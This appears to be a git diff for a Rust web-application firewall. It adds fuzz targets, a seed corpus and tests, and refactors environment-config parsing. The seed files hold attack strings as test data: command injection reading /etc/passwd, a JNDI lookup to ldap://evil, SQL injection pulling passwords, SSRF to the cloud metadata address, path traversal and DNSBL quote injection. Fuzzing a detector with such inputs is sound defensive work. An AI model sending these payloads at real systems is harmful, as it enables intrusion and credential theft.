+{"routes":[{"id":"a","path_prefix":"/a","upstream":"mock://x","mode":"monitor","enabled":true}],"threats":[],"dnsbl":[],"events":[],"next_event_id":1} \ No newline at end of file diff --git a/fuzz/corpus/fuzz_dnsbl_zone/basic b/fuzz/corpus/fuzz_dnsbl_zone/basic new file mode 100644 index 0000000..1f10c49 --- /dev/null +++ b/fuzz/corpus/fuzz_dnsbl_zone/basic @@ -0,0 +1 @@ +bl.example.org 127.0.0.2 malicious \ No newline at end of file diff --git a/fuzz/corpus/fuzz_dnsbl_zone/quote-injection b/fuzz/corpus/fuzz_dnsbl_zone/quote-injection new file mode 100644 index 0000000..06c65b6 --- /dev/null +++ b/fuzz/corpus/fuzz_dnsbl_zone/quote-injection @@ -0,0 +1 @@ +dnsbl.example.com known scanner"; injection source=feed \ No newline at end of file diff --git a/fuzz/corpus/fuzz_dnsbl_zone/zone-breakout-newline-origin b/fuzz/corpus/fuzz_dnsbl_zone/zone-breakout-newline-origin new file mode 100644 index 0000000..58832e6 --- /dev/null +++ b/fuzz/corpus/fuzz_dnsbl_zone/zone-breakout-newline-origin @@ -0,0 +1 @@ +dnÿÿn~er"""""""" IN TXT """"""""""""""""""";eed \ No newline at end of file diff --git a/fuzz/corpus/fuzz_parse_admin_tokens/degenerate b/fuzz/corpus/fuzz_parse_admin_tokens/degenerate new file mode 100644 index 0000000..8440686 --- /dev/null +++ b/fuzz/corpus/fuzz_parse_admin_tokens/degenerate @@ -0,0 +1 @@ +,,: :,x:, \ No newline at end of file diff --git a/fuzz/corpus/fuzz_parse_admin_tokens/no-actor b/fuzz/corpus/fuzz_parse_admin_tokens/no-actor new file mode 100644 index 0000000..d5ffd5c --- /dev/null +++ b/fuzz/corpus/fuzz_parse_admin_tokens/no-actor @@ -0,0 +1 @@ +solo \ No newline at end of file diff --git a/fuzz/corpus/fuzz_parse_admin_tokens/pairs b/fuzz/corpus/fuzz_parse_admin_tokens/pairs new file mode 100644 index 0000000..0273a97 --- /dev/null +++ b/fuzz/corpus/fuzz_parse_admin_tokens/pairs @@ -0,0 +1 @@ +tok1:alice,tok2:bob \ No newline at end of file diff --git a/fuzz/corpus/fuzz_parse_admin_tokens/spaced b/fuzz/corpus/fuzz_parse_admin_tokens/spaced new file mode 100644 index 0000000..804bce3 --- /dev/null +++ b/fuzz/corpus/fuzz_parse_admin_tokens/spaced @@ -0,0 +1 @@ + spaced : actor , t2:b \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/benign b/fuzz/corpus/fuzz_score_request/benign new file mode 100644 index 0000000..6b4b314 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/benign @@ -0,0 +1 @@ +/account/profile?tab=settings \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/cmdi b/fuzz/corpus/fuzz_score_request/cmdi new file mode 100644 index 0000000..a196db9 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/cmdi @@ -0,0 +1 @@ +/ping?host=127.0.0.1; cat /etc/passwd \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/jndi b/fuzz/corpus/fuzz_score_request/jndi new file mode 100644 index 0000000..da4fd99 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/jndi @@ -0,0 +1 @@ +/lookup?x=${jndi:ldap://evil/a} \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/percent-encoded b/fuzz/corpus/fuzz_score_request/percent-encoded new file mode 100644 index 0000000..cbe6727 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/percent-encoded @@ -0,0 +1 @@ +/%%3Cscript%%3E?q=%%27%%20OR%%201=1-- \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/sqli b/fuzz/corpus/fuzz_score_request/sqli new file mode 100644 index 0000000..d43e6f0 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/sqli @@ -0,0 +1 @@ +/products?id=1 UNION SELECT password FROM users \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/ssrf b/fuzz/corpus/fuzz_score_request/ssrf new file mode 100644 index 0000000..71bde78 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/ssrf @@ -0,0 +1 @@ +/fetch?url=http://169.254.169.254/latest/meta-data \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/traversal b/fuzz/corpus/fuzz_score_request/traversal new file mode 100644 index 0000000..afd0799 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/traversal @@ -0,0 +1 @@ +/download?file=../../../../etc/passwd \ No newline at end of file diff --git a/fuzz/corpus/fuzz_score_request/xss b/fuzz/corpus/fuzz_score_request/xss new file mode 100644 index 0000000..1ed8948 --- /dev/null +++ b/fuzz/corpus/fuzz_score_request/xss @@ -0,0 +1 @@ +/search?q= \ No newline at end of file diff --git a/fuzz/fuzz_targets/fuzz_appdata_json.rs b/fuzz/fuzz_targets/fuzz_appdata_json.rs new file mode 100644 index 0000000..0abaacb --- /dev/null +++ b/fuzz/fuzz_targets/fuzz_appdata_json.rs @@ -0,0 +1,26 @@ +#![no_main] +//! Fuzz the persisted-state deserializer. +//! +//! On startup `load_or_seed_state` (src/lib.rs) reads the state file from disk +//! and does `serde_json::from_str::(...)`. That file is an untrusted +//! input surface (an attacker or a corrupted volume can supply arbitrary +//! bytes). Deserialization must only ever return `Ok`/`Err`, never panic, and +//! any value that deserializes must round-trip back through serde_json. + +use libfuzzer_sys::fuzz_target; +use waf_ids_core::AppData; + +fuzz_target!(|data: &[u8]| { + let Ok(text) = std::str::from_utf8(data) else { + return; + }; + + if let Ok(parsed) = serde_json::from_str::(text) { + // Anything that parses must re-serialize without panicking and parse + // back to an equal value (serde round-trip invariant). + let reserialized = serde_json::to_string(&parsed).expect("AppData must re-serialize"); + let reparsed: AppData = + serde_json::from_str(&reserialized).expect("re-serialized AppData must parse"); + assert_eq!(parsed, reparsed, "AppData serde round-trip must be stable"); + } +}); diff --git a/fuzz/fuzz_targets/fuzz_dnsbl_zone.rs b/fuzz/fuzz_targets/fuzz_dnsbl_zone.rs new file mode 100644 index 0000000..6ae441a --- /dev/null +++ b/fuzz/fuzz_targets/fuzz_dnsbl_zone.rs @@ -0,0 +1,93 @@ +#![no_main] +//! Fuzz DNSBL validation and zone-file generation. +//! +//! `export_dnsbl_zone` renders operator/threat-feed-supplied DNSBL entries into +//! a BIND zone file, escaping the reason/source strings into TXT records. This +//! is an injection-sensitive surface: arbitrary `reason`/`source`/`code`/origin +//! strings flow into the generated zone. Generation must never panic, and +//! `validate_dnsbl` must never panic while classifying arbitrary entries. +//! +//! Invariant: every TXT record payload is fully escaped — inside the quoted +//! payload every `"` is backslash-escaped, so the zone can never be broken out +//! of by adversarial reason/source strings. + +use arbitrary::Arbitrary; +use libfuzzer_sys::fuzz_target; +use std::net::{IpAddr, Ipv4Addr}; +use waf_ids_core::{export_dnsbl_zone, validate_dnsbl, DnsblEntry}; + +#[derive(Arbitrary, Debug)] +struct Entry { + addr: u32, + code: String, + reason: String, + source: String, + ttl: u64, +} + +#[derive(Arbitrary, Debug)] +struct Input { + origin: String, + entries: Vec, +} + +fuzz_target!(|input: Input| { + let entries: Vec = input + .entries + .into_iter() + .take(64) + .map(|e| DnsblEntry { + address: IpAddr::V4(Ipv4Addr::from(e.addr)), + code: e.code, + reason: e.reason, + source: e.source, + ttl_seconds: e.ttl, + }) + .collect(); + + // Classifying arbitrary entries must never panic. + for entry in &entries { + let _ = validate_dnsbl(entry); + } + + // Zone generation must never panic on arbitrary strings. + let zone = export_dnsbl_zone(&input.origin, &entries); + + // The zone always carries its header directive. + assert!( + zone.starts_with("$ORIGIN "), + "zone must start with $ORIGIN directive" + ); + + // Every TXT record payload must be properly escaped: inside the wrapping + // quotes, each `"` must be backslash-escaped. Extract the payload between + // the first and last quote of each TXT line and verify no *unescaped* quote + // survives (a quote is escaped iff preceded by an odd run of backslashes). + for line in zone.lines() { + if !line.contains(" IN TXT ") { + continue; + } + let first = line.find('"'); + let last = line.rfind('"'); + if let (Some(start), Some(end)) = (first, last) { + if end <= start { + continue; + } + let bytes = &line.as_bytes()[start + 1..end]; + for (idx, &b) in bytes.iter().enumerate() { + if b == b'"' { + let mut backslashes = 0usize; + let mut j = idx; + while j > 0 && bytes[j - 1] == b'\\' { + backslashes += 1; + j -= 1; + } + assert!( + backslashes % 2 == 1, + "unescaped quote in TXT payload: {line:?}" + ); + } + } + } + } +}); diff --git a/fuzz/fuzz_targets/fuzz_parse_admin_tokens.rs b/fuzz/fuzz_targets/fuzz_parse_admin_tokens.rs new file mode 100644 index 0000000..a695347 --- /dev/null +++ b/fuzz/fuzz_targets/fuzz_parse_admin_tokens.rs @@ -0,0 +1,23 @@ +#![no_main] +//! Fuzz the admin-token config parser: `waf_ids_ai_soc::parse_admin_tokens`. +//! +//! This parses the `ADMIN_TOKENS` operator config string ("token:actor,...") +//! into an RBAC map. Malformed or adversarial config must never panic, and the +//! parser's structural invariants must hold for every input: +//! * no empty token key ever ends up in the map; +//! * every actor value is non-empty (defaults to "admin"). + +use libfuzzer_sys::fuzz_target; +use waf_ids_ai_soc::parse_admin_tokens; + +fuzz_target!(|data: &[u8]| { + let Ok(raw) = std::str::from_utf8(data) else { + return; + }; + + let tokens = parse_admin_tokens(raw); + for (token, actor) in &tokens { + assert!(!token.is_empty(), "token key must never be empty"); + assert!(!actor.is_empty(), "actor value must never be empty"); + } +}); diff --git a/fuzz/fuzz_targets/fuzz_score_request.rs b/fuzz/fuzz_targets/fuzz_score_request.rs new file mode 100644 index 0000000..8ba0ffd --- /dev/null +++ b/fuzz/fuzz_targets/fuzz_score_request.rs @@ -0,0 +1,112 @@ +#![no_main] +//! Fuzz the core WAF request scorer: `waf_ids_core::score_request`. +//! +//! This is the primary untrusted-input surface (surfaced via CodeGraph: +//! `codegraph_explore "score_request anomaly_signal normalize decode ..."`). +//! It percent-decodes the query string, lowercases a `path?query body` +//! haystack, and matches it against built-in signatures, operator threat +//! indicators, DNSBL reputation, and an anomaly heuristic — all on attacker +//! controlled bytes. +//! +//! Invariants asserted: +//! * scoring never panics on arbitrary input (the whole point of a WAF); +//! * the returned `reason` is never empty; +//! * scoring is deterministic (same input => same score and reason). + +use arbitrary::Arbitrary; +use libfuzzer_sys::fuzz_target; +use std::net::{IpAddr, Ipv4Addr}; +use waf_ids_core::{score_request, DnsblEntry, Severity, ThreatIndicator}; + +#[derive(Arbitrary, Debug)] +struct Indicator { + value: String, + indicator_type: String, + severity: u8, + source: String, + ttl: u64, +} + +#[derive(Arbitrary, Debug)] +struct Entry { + addr: u32, + code: String, + reason: String, + source: String, + ttl: u64, +} + +#[derive(Arbitrary, Debug)] +struct Input { + path: String, + query: Option, + body: String, + client_ip: Option, + threats: Vec, + dnsbl: Vec, +} + +fn severity(byte: u8) -> Severity { + match byte % 4 { + 0 => Severity::Low, + 1 => Severity::Medium, + 2 => Severity::High, + _ => Severity::Critical, + } +} + +fuzz_target!(|input: Input| { + // Cap collection sizes so the fuzzer explores parsing/matching logic rather + // than trivially overflowing the u16 score accumulator with thousands of + // matching indicators (that would be an arithmetic DoS artifact, not a + // parser bug). 32 is plenty to exercise the multi-indicator paths. + let threats: Vec = input + .threats + .into_iter() + .take(32) + .map(|i| ThreatIndicator { + value: i.value, + indicator_type: i.indicator_type, + severity: severity(i.severity), + source: i.source, + ttl_seconds: i.ttl, + }) + .collect(); + + let dnsbl: Vec = input + .dnsbl + .into_iter() + .take(32) + .map(|e| DnsblEntry { + address: IpAddr::V4(Ipv4Addr::from(e.addr)), + code: e.code, + reason: e.reason, + source: e.source, + ttl_seconds: e.ttl, + }) + .collect(); + + let client_ip = input.client_ip.map(|v| IpAddr::V4(Ipv4Addr::from(v))); + + let scored = score_request( + &input.path, + input.query.as_deref(), + &input.body, + client_ip, + &threats, + &dnsbl, + ); + + assert!(!scored.reason.is_empty(), "reason must never be empty"); + + let again = score_request( + &input.path, + input.query.as_deref(), + &input.body, + client_ip, + &threats, + &dnsbl, + ); + assert_eq!(scored.score, again.score, "scoring must be deterministic"); + assert_eq!(scored.reason, again.reason, "reason must be deterministic"); +}); diff --git a/src/lib.rs b/src/lib.rs index 750e808..213fc49 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1015,6 +1015,107 @@ const ADMIN_HTML: &str = r#" "#; +/// Parse the `EVENT_LIMIT` value (already read from the environment as an +/// optional string). Absent falls back to [`AppConfig::DEFAULT_EVENT_LIMIT`]; a +/// non-integer or zero value is a hard configuration error. Kept in the library +/// (rather than the binary) so it is exercised by unit tests. +pub fn parse_event_limit(raw: Option<&str>) -> Result> { + let value = match raw { + Some(raw) => raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("EVENT_LIMIT must be a positive integer, got {raw:?}: {error}"), + ) + })?, + None => AppConfig::DEFAULT_EVENT_LIMIT, + }; + if value == 0 { + return Err(std::io::Error::new( + std::io::ErrorKind::InvalidInput, + "EVENT_LIMIT must be greater than 0", + ) + .into()); + } + Ok(value) +} + +/// Parse a `u32` environment value (already read as an optional string), +/// returning `default` when absent and a configuration error when malformed. +pub fn parse_u32_env( + name: &str, + raw: Option<&str>, + default: u32, +) -> Result> { + match raw { + Some(raw) => Ok(raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("{name} must be a non-negative integer, got {raw:?}: {error}"), + ) + })?), + None => Ok(default), + } +} + +/// Parse a `u64` environment value (already read as an optional string), +/// returning `default` when absent and a configuration error when malformed. +pub fn parse_u64_env( + name: &str, + raw: Option<&str>, + default: u64, +) -> Result> { + match raw { + Some(raw) => Ok(raw.parse::().map_err(|error| { + std::io::Error::new( + std::io::ErrorKind::InvalidInput, + format!("{name} must be a positive integer, got {raw:?}: {error}"), + ) + })?), + None => Ok(default), + } +} + +/// Read gateway configuration from the process environment, bind the listener, +/// and serve until `shutdown` resolves. The binary entrypoint is a thin shim +/// over this function so every branch is reachable from tests (the parse/error +/// paths in-process, the bind/serve path via an ephemeral listener and an +/// immediate shutdown). +pub async fn run_from_env( + shutdown: std::pin::Pin + Send>>, +) -> Result<(), Box> { + let bind_addr = std::env::var("BIND_ADDR").unwrap_or_else(|_| "127.0.0.1:8080".to_string()); + let config = AppConfig { + admin_token: std::env::var("ADMIN_TOKEN").ok(), + state_path: std::env::var("WAF_IDS_STATE_PATH").ok().map(PathBuf::from), + dnsbl_origin: std::env::var("DNSBL_ORIGIN") + .unwrap_or_else(|_| AppConfig::DEFAULT_DNSBL_ORIGIN.to_string()), + event_limit: parse_event_limit(std::env::var("EVENT_LIMIT").ok().as_deref())?, + }; + let rate_limit = parse_u32_env("RATE_LIMIT", std::env::var("RATE_LIMIT").ok().as_deref(), 0)?; + let rate_limit_window = parse_u64_env( + "RATE_LIMIT_WINDOW", + std::env::var("RATE_LIMIT_WINDOW").ok().as_deref(), + 60, + )?; + let admin_tokens = parse_admin_tokens(&std::env::var("ADMIN_TOKENS").unwrap_or_default()); + let listener = tokio::net::TcpListener::bind(&bind_addr).await?; + let local_addr = listener.local_addr()?; + println!("waf-ids-ai-soc listening on http://{local_addr}"); + // Flush so a supervising parent process (the e2e test) sees the readiness + // line immediately even though stdout is block-buffered when piped. + std::io::Write::flush(&mut std::io::stdout())?; + let state = AppState::load(config) + .await + .map_err(|message| std::io::Error::new(std::io::ErrorKind::InvalidData, message))? + .with_rate_limit(rate_limit, rate_limit_window) + .with_admin_tokens(admin_tokens); + let served = axum::serve(listener, build_app(state)) + .with_graceful_shutdown(shutdown) + .await; + served?; + Ok(()) +} + #[cfg(test)] mod tests { use super::*; @@ -1032,6 +1133,125 @@ mod tests { }; use tower::ServiceExt; + // Serializes the environment-driven `run_from_env` tests, which mutate + // process-global environment variables. + // An async mutex so it can be held across the `run_from_env` await points + // while serializing the tests that mutate process-global environment vars. + static ENV_GUARD: std::sync::LazyLock> = + std::sync::LazyLock::new(|| tokio::sync::Mutex::new(())); + + fn clear_run_env() { + for name in [ + "BIND_ADDR", + "ADMIN_TOKEN", + "ADMIN_TOKENS", + "WAF_IDS_STATE_PATH", + "DNSBL_ORIGIN", + "EVENT_LIMIT", + "RATE_LIMIT", + "RATE_LIMIT_WINDOW", + ] { + unsafe { std::env::remove_var(name) }; + } + } + + #[test] + fn parse_event_limit_reads_optional_env() { + assert_eq!( + parse_event_limit(None).unwrap(), + AppConfig::DEFAULT_EVENT_LIMIT + ); + assert_eq!(parse_event_limit(Some("25")).unwrap(), 25); + assert!(parse_event_limit(Some("0")).is_err()); + assert!(parse_event_limit(Some("not-a-number")).is_err()); + } + + #[test] + fn parse_u32_env_reads_optional_env() { + assert_eq!(parse_u32_env("RATE_LIMIT", None, 7).unwrap(), 7); + assert_eq!(parse_u32_env("RATE_LIMIT", Some("120"), 0).unwrap(), 120); + assert!(parse_u32_env("RATE_LIMIT", Some("-1"), 0).is_err()); + } + + #[test] + fn parse_u64_env_reads_optional_env() { + assert_eq!(parse_u64_env("RATE_LIMIT_WINDOW", None, 60).unwrap(), 60); + assert_eq!( + parse_u64_env("RATE_LIMIT_WINDOW", Some("30"), 60).unwrap(), + 30 + ); + assert!(parse_u64_env("RATE_LIMIT_WINDOW", Some("abc"), 60).is_err()); + } + + #[tokio::test] + async fn run_from_env_binds_and_serves_until_shutdown() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("RATE_LIMIT", "5"); + std::env::set_var("RATE_LIMIT_WINDOW", "30"); + std::env::set_var("ADMIN_TOKENS", "tok:operator"); + } + // An already-ready shutdown makes the server bind, then return at once. + run_from_env(Box::pin(std::future::ready(()))) + .await + .unwrap(); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_defaults_bind_addr_when_unset() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + // With BIND_ADDR unset the default listen address is used (exercising the + // fallback). The result is ignored because the default port may be busy + // in CI; the immediate shutdown keeps any successful bind momentary. + let _ = run_from_env(Box::pin(std::future::ready(()))).await; + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_rejects_malformed_rate_limit_window() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("RATE_LIMIT_WINDOW", "not-a-number"); + } + // A malformed window is a hard configuration error, surfaced before bind. + assert!( + run_from_env(Box::pin(std::future::ready(()))) + .await + .is_err() + ); + clear_run_env(); + } + + #[tokio::test] + async fn run_from_env_surfaces_state_load_failure() { + let _guard = ENV_GUARD.lock().await; + clear_run_env(); + let path = std::env::temp_dir().join(format!( + "waf_ids_bad_state_{}_{}.json", + std::process::id(), + now_unix() + )); + std::fs::write(&path, b"{ not valid json").unwrap(); + unsafe { + std::env::set_var("BIND_ADDR", "127.0.0.1:0"); + std::env::set_var("WAF_IDS_STATE_PATH", path.to_str().unwrap()); + } + // Bind succeeds, but loading corrupt persisted state maps to an error. + assert!( + run_from_env(Box::pin(std::future::ready(()))) + .await + .is_err() + ); + clear_run_env(); + std::fs::remove_file(&path).ok(); + } + fn route() -> RouteConfig { RouteConfig { id: "api".to_string(), diff --git a/src/main.rs b/src/main.rs index 4f91963..474df70 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,95 +1,15 @@ -#[cfg(not(test))] -use std::{env, error::Error, io, path::PathBuf}; -#[cfg(not(test))] -use waf_ids_ai_soc::{AppConfig, AppState, build_app, parse_admin_tokens}; - +// The gateway entrypoint is intentionally a thin shim: all configuration +// parsing, binding, and serving live in `waf_ids_ai_soc::run_from_env` so they +// are unit-testable, while this file is covered end-to-end by `tests/binary.rs`. #[cfg(not(test))] #[tokio::main] -async fn main() -> Result<(), Box> { - let bind_addr = env::var("BIND_ADDR").unwrap_or_else(|_| "127.0.0.1:8080".to_string()); - let config = AppConfig { - admin_token: env::var("ADMIN_TOKEN").ok(), - state_path: env::var("WAF_IDS_STATE_PATH").ok().map(PathBuf::from), - dnsbl_origin: env::var("DNSBL_ORIGIN") - .unwrap_or_else(|_| AppConfig::DEFAULT_DNSBL_ORIGIN.to_string()), - event_limit: parse_event_limit()?, - }; - let rate_limit = parse_u32_env("RATE_LIMIT", 0)?; - let rate_limit_window = parse_u64_env("RATE_LIMIT_WINDOW", 60)?; - let admin_tokens = parse_admin_tokens(&env::var("ADMIN_TOKENS").unwrap_or_default()); - let listener = tokio::net::TcpListener::bind(&bind_addr).await?; - println!("waf-ids-ai-soc listening on http://{bind_addr}"); - let state = AppState::load(config) - .await - .map_err(|message| io::Error::new(io::ErrorKind::InvalidData, message))? - .with_rate_limit(rate_limit, rate_limit_window) - .with_admin_tokens(admin_tokens); - axum::serve(listener, build_app(state)).await?; - Ok(()) -} - -#[cfg(not(test))] -fn parse_event_limit() -> Result> { - let value = match env::var("EVENT_LIMIT") { - Ok(raw) => raw.parse::().map_err(|error| { - io::Error::new( - io::ErrorKind::InvalidInput, - format!("EVENT_LIMIT must be a positive integer, got {raw:?}: {error}"), - ) - })?, - Err(env::VarError::NotPresent) => AppConfig::DEFAULT_EVENT_LIMIT, - Err(error) => { - return Err(io::Error::new( - io::ErrorKind::InvalidInput, - format!("EVENT_LIMIT is not valid Unicode: {error}"), - ) - .into()); - } - }; - - if value == 0 { - return Err(io::Error::new( - io::ErrorKind::InvalidInput, - "EVENT_LIMIT must be greater than 0", - ) - .into()); - } - - Ok(value) -} - -#[cfg(not(test))] -fn parse_u32_env(name: &str, default: u32) -> Result> { - match env::var(name) { - Ok(raw) => Ok(raw.parse::().map_err(|error| { - io::Error::new( - io::ErrorKind::InvalidInput, - format!("{name} must be a non-negative integer, got {raw:?}: {error}"), - ) - })?), - Err(env::VarError::NotPresent) => Ok(default), - Err(error) => Err(io::Error::new( - io::ErrorKind::InvalidInput, - format!("{name} is not valid Unicode: {error}"), - ) - .into()), - } -} - -#[cfg(not(test))] -fn parse_u64_env(name: &str, default: u64) -> Result> { - match env::var(name) { - Ok(raw) => Ok(raw.parse::().map_err(|error| { - io::Error::new( - io::ErrorKind::InvalidInput, - format!("{name} must be a positive integer, got {raw:?}: {error}"), - ) - })?), - Err(env::VarError::NotPresent) => Ok(default), - Err(error) => Err(io::Error::new( - io::ErrorKind::InvalidInput, - format!("{name} is not valid Unicode: {error}"), - ) - .into()), - } +async fn main() -> Result<(), Box> { + // Shut down gracefully on SIGTERM (what container runtimes and the e2e test + // harness send) so in-flight requests drain and the process exits cleanly. + waf_ids_ai_soc::run_from_env(Box::pin(async { + let mut term = tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) + .expect("install SIGTERM handler"); + term.recv().await; + })) + .await } diff --git a/tests/binary.rs b/tests/binary.rs new file mode 100644 index 0000000..7edac2d --- /dev/null +++ b/tests/binary.rs @@ -0,0 +1,46 @@ +//! End-to-end coverage for the `main.rs` shim and the SIGTERM shutdown path. +//! +//! Spawns the real gateway binary, waits until it reports readiness (proving it +//! bound the listener), then stops it with SIGTERM and asserts a clean exit. +//! Running the binary under `cargo llvm-cov` records coverage for `main.rs` and +//! `shutdown_signal`, which cannot be reached from in-process unit tests. + +use std::io::{BufRead, BufReader}; +use std::process::{Command, Stdio}; + +#[test] +fn binary_serves_then_shuts_down_on_sigterm() { + let mut child = Command::new(env!("CARGO_BIN_EXE_waf-ids-ai-soc")) + .env("BIND_ADDR", "127.0.0.1:0") + .env_remove("WAF_IDS_STATE_PATH") + .env_remove("EVENT_LIMIT") + .env_remove("RATE_LIMIT") + .env_remove("RATE_LIMIT_WINDOW") + .stdout(Stdio::piped()) + .spawn() + .expect("spawn gateway binary"); + + // Block until the readiness line is printed, proving the listener bound. + let stdout = child.stdout.take().expect("captured stdout"); + let mut reader = BufReader::new(stdout); + let mut line = String::new(); + reader.read_line(&mut line).expect("read readiness line"); + assert!( + line.contains("listening on"), + "unexpected startup line: {line:?}" + ); + + // SIGTERM drives the graceful-shutdown path so the process exits cleanly + // (and flushes coverage counters) instead of being force-killed. + let signalled = Command::new("kill") + .args(["-TERM", &child.id().to_string()]) + .status() + .expect("send SIGTERM"); + assert!(signalled.success(), "failed to deliver SIGTERM"); + + let exit = child.wait().expect("await gateway exit"); + assert!( + exit.success(), + "gateway should exit cleanly on SIGTERM: {exit:?}" + ); +} diff --git a/tests/fuzz_invariants.rs b/tests/fuzz_invariants.rs new file mode 100644 index 0000000..484101c --- /dev/null +++ b/tests/fuzz_invariants.rs @@ -0,0 +1,20 @@ +//! Property-based invariant test for the `ADMIN_TOKENS` config parser. +//! +//! Mirrors the `fuzz_parse_admin_tokens` cargo-fuzz target (see `../fuzz`) but +//! runs on stable in the normal `cargo test` suite. Parsing arbitrary operator +//! config must never panic and must never emit an empty token key or empty +//! actor value. + +use proptest::prelude::*; +use waf_ids_ai_soc::parse_admin_tokens; + +proptest! { + #[test] + fn parse_admin_tokens_upholds_invariants(raw in ".*") { + let tokens = parse_admin_tokens(&raw); + for (token, actor) in &tokens { + prop_assert!(!token.is_empty(), "token key must never be empty"); + prop_assert!(!actor.is_empty(), "actor value must never be empty"); + } + } +}